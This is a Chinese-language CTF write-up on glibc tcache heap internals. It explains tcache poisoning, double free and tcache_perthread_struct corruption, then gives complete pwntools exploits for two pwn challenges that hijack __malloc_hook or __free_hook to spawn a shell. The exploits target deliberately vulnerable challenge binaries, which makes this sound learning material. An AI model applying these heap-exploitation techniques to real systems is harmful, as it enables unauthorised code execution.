关于tcache参考了这个师傅的博客:https://www.jianshu.com/p/9778331e1337

tcache

tcache结构体

Tcache机制是在libc-2.26中引入的一个新的堆管理机制。
首先是引进了两个结构体,tcache_perthread_struct和tcache_entry
tcache_perthread_struct:

#define TCACHE_MAX_BINS 64
typedef struct tcache_perthread_struct{
    char counts[TCACHE_MAX_BINS];
    tcache_entry *entries[TCACHE_MAX_BINS];
}tcache_perthread_struct;

tcache_entry:

typedef struct tcache_entry{
    struct tcache_entry *next;
}tcache_entry;

第一个结构体用来管理堆,大小为0x240,可以管理大小小于0x400的堆块,为啥呢?写个简单的小demo大家就明白了

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
	void *p,*q,*r,*s,*x;
	x = malloc(0x10);
	p = malloc(0x20);
	q = malloc(0x20);
	r = malloc(0x30);
	s = malloc(0x40);
	free(p);
	free(q);
	free(r);
	free(s);
    free(x);

	void *c1,*c2,*c3;
	c1 = malloc(0x50);
	c2 = malloc(0x60);
	c3 = malloc(0x70);
	free(c1);
	free(c2);
	free(c3);
	return 0;
}

上面简单的例子,就是申请了从0x10-0x70大小的堆块,然后我们全部都free掉,然后gdb调试一下会发现如下结果

可以看到tcache_perthread_struct结构体是以一个堆的形式存在于堆空间中管理者堆块,其大小为 0x250,然后不考虑其prevsize和size位,前0x40的空间管理着所有tcache bin的个数(最大是7),从0x10开始,那么就是 0x40 * 8 * 2 = 1024,hex(1024) = 0x400,所以它最大可存到0x400的堆块。

对比fastbin

tcache bin与fastbin极其相似但是又有所不同
同:管理方式为FILO的单链表形式,每一个bins的inuse位总为1,不担心合并
异:fastbin的fd的指针指向chunk ptr,而tcache指向mem ptr。tcache不检查chunk的size是否符合要求,也就是说指哪打哪,不用考虑size位了,比如打__malloc_hook不用分配到-0x23的位置了,想分配到哪就分配到哪。tcache不检查double free。tcache优先级最高。

malloc和free的过程

malloc:
malloc(size),若size小于0x400会优先从tcache bins里面寻找,若没有,则再从别的bins里面找。
Tcachebin未满时,却从Fastbin/Smallbin中取出堆块,则会将链上的其他堆块都链入Tcachebin中。其具体算法是首先将Fastbin/Smallbin中取出的堆块指针进行保存,并判断该大小对应的Tcachebin是否未满,若未满则将其之后的堆块按照Fastbin/Smallbin的分配顺序将堆块链入Tcachebin中,直到对应大小的Tcachebin放满或Fastbin/Smallbin的链为空,最后将之前取出的堆块指针返回给用户使用。由于是按照Fastbin/Smallbin的分配顺序将堆块放入Tcachebin中,因此不难判断,最从Tcachebin中申请的堆块顺序是与正常从Fastbin/Smallbin中申请堆块顺序时反向的。
文字看不懂(我也没看懂 orz)?没关系,上代码。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
	void *c1,*c2,*c3,*c4,*c5,*c6,*c7,*f1,*f2,*f3;

	c1 = malloc(0x10);
	c2 = malloc(0x10);
	c3 = malloc(0x10);
	c4 = malloc(0x10);
	c5 = malloc(0x10);
	c6 = malloc(0x10);
	c7 = malloc(0x10);
	f1 = malloc(0x10);
	f2 = malloc(0x10);
	f3 = malloc(0x10);
	free(c1);
	free(c2);
	free(c3);
	free(c4);
	free(c5);
	free(c6);
	free(c7);
	free(f1);
	free(f2);
	free(f3);

	return 0;
}

没错,申请了十个相同大小的chunk,然后全部free掉,其中c开头的是放到tcache bins中的,f开头的是tcache满了然后被放到了fastbins里面中去。
看一下内存分布

然后我们改一下源码

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
	void *c1,*c2,*c3,*c4,*c5,*c6,*c7,*f1,*f2,*f3;

	c1 = malloc(0x10);
	c2 = malloc(0x10);
	c3 = malloc(0x10);
	c4 = malloc(0x10);
	c5 = malloc(0x10);
	c6 = malloc(0x10);
	c7 = malloc(0x10);
	f1 = malloc(0x10);
	f2 = malloc(0x10);
	f3 = malloc(0x10);
	free(c1);
	free(c2);
	free(c3);
	free(c4);
	free(c5);
	free(c6);
	free(c7);
	free(f1);
	free(f2);
	free(f3);
	
	void *t1,*t2,*t3,*t4,*t5,*t6,*t7;
	void *a1,*a2,*a3;

	t1 = malloc(0x10);
	t2 = malloc(0x10);
	t3 = malloc(0x10);
	t4 = malloc(0x10);
	t5 = malloc(0x10);
	t6 = malloc(0x10);
	t7 = malloc(0x10);

	a1 = malloc(0x10);

	return 0;
}

思路就是我们将tcachebin填满,然后free3次同样大小的chunk,发现进入到fastbin里面,然后我们通过malloc将tcachebin全部清空,如下图

可以看到此时tcachebin已经空了
fastbin里面是这样的

然后再malloc一次,发现fastbin被清空,剩余的两个bin被移到tcachebin里面去

本来是350指向330
移入到tcache后变成了340(0x350 - 0x10)指向了360
证明了前文的结论,“因此不难判断,最从Tcachebin中申请的堆块顺序是与正常从Fastbin/Smallbin中申请堆块顺序时反向的”。

利用方法

贴个大佬总结的,我仔细看了看这几个方法的说明,本题目应该用了以下前三个漏洞,其实叫啥名不重要,会用就行~

Tcache poisoning(tcache 投毒)
在上一部分中也提到过这种方法。与Fastbin Attack类似,篡改Tcachebin中的fd字段,导致在申请被篡改堆块后的下一个堆块时能够申请到任意地址。与Fastbin相比,Tcachebin中为了得到更高的效率而舍去了安全性,在进行申请时没有对size位进行校验,而且由于Tcachebin中的fd是指向下一个堆块的fd(Fastbin的fd是指向下一个堆块的堆头),因此指向的地址即是申请后写数据的地址,不再需要去考虑堆头的偏移。

Tcache dup(???)
这是Tcache机制刚推出的几个版本中,在进行free操作时没有对这个堆块进行一个安全检测而导致可以对同一个堆块进行多次free,那么就会变成一个Tcachebin链上链了两个相同的堆块(我指向我自己),后面也就不用多说了。但值得一提的是在libc-2.29版本中加入了检查机制(源码的4201-4216行),会在堆块进行free时检查这个堆块是否已经存在于这条链上,如果存在则会报"free():double free detected in tcache 2"的错误,因此这种直接double free利用方式存在于libc-2.26至libc-2.28的版本中。

Tcache perthread corruption (结构体污染)
在最开始介绍结构体时提到的tcache_perthread_struct结构体,该结构体size为0x250,是管理整个Tcachebin的结构体,如果对这个结构体有写权限,那么可以控制任意大小Tcachebin的入口地址。

U2T(翻译君死了)
U2T即Unsortbin 2 Tcachebin,这种叫法是在一篇文章中看到的,也只看到过一次,主要是配合Off By One或Off By NULL的漏洞,使Unsortbin在合并过程中将中间的Tcachebin合并,从而达到修改fd字段的效果。

题目

[V&N2020 公开赛]easyTHeap

逆向

稍微逆一下就发现了delete的时候存在UAF漏洞

不过必须要注意的是,我们只能malloc 7次,free 3次

pwn it !!!

这道题保护全开,所以我们可以攻击__malloc_hook
思路:
1,攻击__malloc_hook,必须要伪造chunk,我们可以利用tcache的特点,利用结构体污染,将tcache_perthread_struct的指针域改为__malloc_hook附近
2,污染结构体,必须要能分配到结构体上,我们可选择double free,但是前提必须要知道结构体的地址,我们可以利用show来泄漏地址,malloc(size),free(),free(),这样该chunk就记录了自己的地址,减去0x250就是结构体的地址
3,打one_gadget,必须要知道libc基地址,我们利用free态的结构体堆块(0x250会进入unsorted bin),泄漏main_arena上方的__malloc_hook拿到基地址

一种方法

唔……,本地只有2.28版本的libc,所以本地不可能打通,简单写了一下,然后one_gadget和最后realloc调栈桢的时候都是抄的别的师傅的偏移orz

exp:

from pwn import *

'''

author : lemon
libc_version: 2.27

'''

libc = ELF('./libc-2.27.so')

local = 0

if local == 1:
    p = process('./vn_pwn_easyTHeap')
else:
    p = remote('node3.buuoj.cn',26169)

def dbg():
    gdb.attach(p)

def add(size):
    p.sendlineafter('choice: ','1')
    p.sendlineafter('size?',str(size))

def edit(index,content):
    p.sendafter('choice: ','2')
    p.recvuntil('idx?')
    p.sendline(str(index))
    p.recvuntil('content:')
    p.send(content)

def show(index):
    p.sendafter('choice: ','3')
    p.recvuntil('idx?')
    p.sendline(str(index))

def free(index):
    p.sendafter('choice: ','4')
    p.recvuntil('idx?')
    p.sendline(str(index))

print("================ step1:逃逸tcache ==============")
print("-------- 利用double free,将fd ptr 写到 tcache处 -------")
add(0x50)	#0     
free(0)		
free(0)		
add(0x50)	#1	
show(1)
leak_tcache = u64(p.recv(6) + b'\00\00') - 0x250
print("tcache is in :" + hex(leak_tcache))
edit(1,p64(leak_tcache))

print('----- 改写tcahche结构体中堆块的数量,使以后的chunk可以不进入tcache -----')
add(0x50)	#2	
add(0x50)	#3    this is tcache_perthread_struct 	但是这里的size仍然是0x251
edit(3,b'a' * 0x30)

print('================= step2:泄漏libc ==============')
print('----- 利用3号堆块(tcache结构体堆块),释放后进入unsorted bin中,泄漏libc -----')
free(3)
show(3)
leak_libc = u64(p.recv(6) + b'\00\00') - 96 - 0x10 - libc.symbols['__malloc_hook']	#libc: 2.27  leak the address is 'main_arena + 96'
print('the libcbase is :'+hex(leak_libc))

print('----- 获得一些函数和one gadget的地址 ------')
#one_gadget = [0x41982,0x419d6,0xdf882]
one_gadget_list = [0x4f2c5,0x4f322,0x10a38c]
one_gadget = leak_libc + one_gadget_list[1]
malloc_hook = leak_libc + libc.symbols['__malloc_hook']
realloc_hook = leak_libc + libc.symbols['realloc']

print("================== step3: 攻击 __malloc_hook ============")
add(0x50)	#4
edit(4, p64(0) * 9 +  p64(malloc_hook - 0x13))

add(0x20)	# fake chunk
paylaod = b'A' * (0x13 - 0x8) + p64(one_gadget) + p64(realloc_hook + 8)
edit(5, paylaod)
add(0x20)

p.interactive()

另一种方法

(似乎还有别的方法,我再想想还能不能用别的方法做出来(逃 )
好像又找到了一种构造方式,本质思路没有变,细节稍微改动了一下,比如泄漏libc换成了0号chunk(哈哈哈

from pwn import *

'''

author : lemon
libc_version: 2.27

'''

libc = ELF('./libc-2.27.so')

local = 0

if local == 1:
    p = process('./vn_pwn_easyTHeap')
else:
    p = remote('node3.buuoj.cn',27567)

def dbg():
    gdb.attach(p)

def add(size):
    p.sendlineafter('choice: ','1')
    p.sendlineafter('size?',str(size))

def edit(index,content):
    p.sendafter('choice: ','2')
    p.recvuntil('idx?')
    p.sendline(str(index))
    p.recvuntil('content:')
    p.send(content)

def show(index):
    p.sendafter('choice: ','3')
    p.recvuntil('idx?')
    p.sendline(str(index))

def free(index):
    p.sendafter('choice: ','4')
    p.recvuntil('idx?')
    p.sendline(str(index))

print("============ step 1: 逃逸tcache bin ===========")
add(0x100)	#0
add(0x10)	#1 protect 0

free(0)	
free(0)
show(0)

tcache_perthread_struct = u64(p.recv(6).ljust(8,b'\00')) - 0x250

add(0x100)	#2 (0)
edit(2,p64(tcache_perthread_struct))
add(0x100)	#3 
add(0x100)	#4 tcache_perthread_struct

payload = b'\07' * 0x40
edit(4,payload)

print("=========== step 2: 泄漏libc ============")

free(0)
show(0)

libc_base = u64(p.recv(6).ljust(8,b'\00')) - 96 - 0x10 - libc.symbols['__malloc_hook']
#libc_base = u64(p.recv(6).ljust(8,b'\x00'))-(0x7f5c5654cca0-0x7f5c56182ab0)
print('libc base:' + hex(libc_base))
__malloc_hook = libc_base + libc.symbols['__malloc_hook']
__libc_realloc = libc_base + libc.symbols['__libc_realloc']
one_gadget_list = [0x4f2c5,0x4f322,0x10a38c]
one_gadget = libc_base + one_gadget_list[1]

print("=========== step 3: one_gadget ===========")

payload = b'\00' * 0x40 + p64(0) * 2 + p64(__malloc_hook-0x20)
edit(4,payload)

add(0x30)	#5
payload_one_gadget = b'A' * (0x15 - 0x8) + b'B' * (0x13 - 0x8) + p64(one_gadget) + p64(__libc_realloc + 8)
edit(5,payload_one_gadget)
add(0x20)	#触发one_gadget

p.interactive()

tcache

逆向

main函数

add函数,可以看到我们可以创建20个chunk,并且我们不能控制size,malloc的默认size是0x30

show函数

delete函数

edit函数,可以很轻易的发现漏洞点位于edit,我们能够编辑0x40大小的chunk,可以溢出到下一个chunk的size域

思路:由于程序保护全开,我们必须要泄漏地址,考虑到我们能够申请较大数量的chunk,所以我们可以构造出一个较大size的unsorted bin绕过tcache bin,用来泄漏地址。但是我们必须得通过相关检查,后一个chunk必须完整,这一点经过调试可以构造出相关合理的size(通过溢出0x10字节)
泄漏完地址之后,我们可以打__free_hook,我们虽然没有UAF漏洞,但是我们可以利用unsorted bin构成一个类似于UAF的漏洞。因为我们之前构造出一个unsorted bin,在free之前记为1号chunk,我们可以malloc()一个块,这时这个块的id就为1,再malloc一个块,记为x,因为x在之前已经有指针了,记为x1,我们再次申请,就会从unsorted bin中给我们切下来一块,这个新指针记为x2,这样x1,x2都指向了同一个块,达成了一个“UAF”,我们free掉x1,编辑x2,就可以攻击成功。

exp

exp:

from pwn import *

local = 1

if local == 1:
	p = process('./tcache')
else:
	p = remote('chall.pwnable.tw',10304)

#elf = ELF('./bookwriter')
libc = ELF('/glibc/2.28/64/lib/libc.so.6')

def dbg():
	context.log_level = 'debug'

def add(content):
	p.sendlineafter('4. Show String','1')
	p.sendafter('Input your content:',content)

def show(index):
	p.sendlineafter('4. Show String','4')
	p.sendafter('Select string:',str(index))

def edit(index,content):
	p.sendlineafter('4. Show String','2')
	p.sendafter('Select string:',str(index))
	p.sendafter('Input your content:',content)

def delete(index):
	p.sendlineafter('4. Show String','3')
	p.sendafter('Select string:',str(index))


for i in range(19):
	add('A')

payload = p64(0) * 7 + p64(0x441)
edit(0,payload)

delete(1)
payload1 = 0x40 * b'A'
edit(0,payload1)

show(0)
p.recvuntil(b'A' * 64)
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook']
print("[*] libc_base --> ",hex(libc_base))

__free_hook = libc_base + libc.sym['__free_hook']
print("[*] __free_hook ---> ",hex(__free_hook))
system_addr = libc_base + libc.sym['system']

edit(0,payload)
add('/bin/sh;')		#chunk1
add('AAAAAAAA')		#chunk19   ==    chunk2



delete(4)
delete(2)

edit(19,p64(__free_hook))

add(p64(system_addr))
add(p64(system_addr))

delete(1)
p.interactive()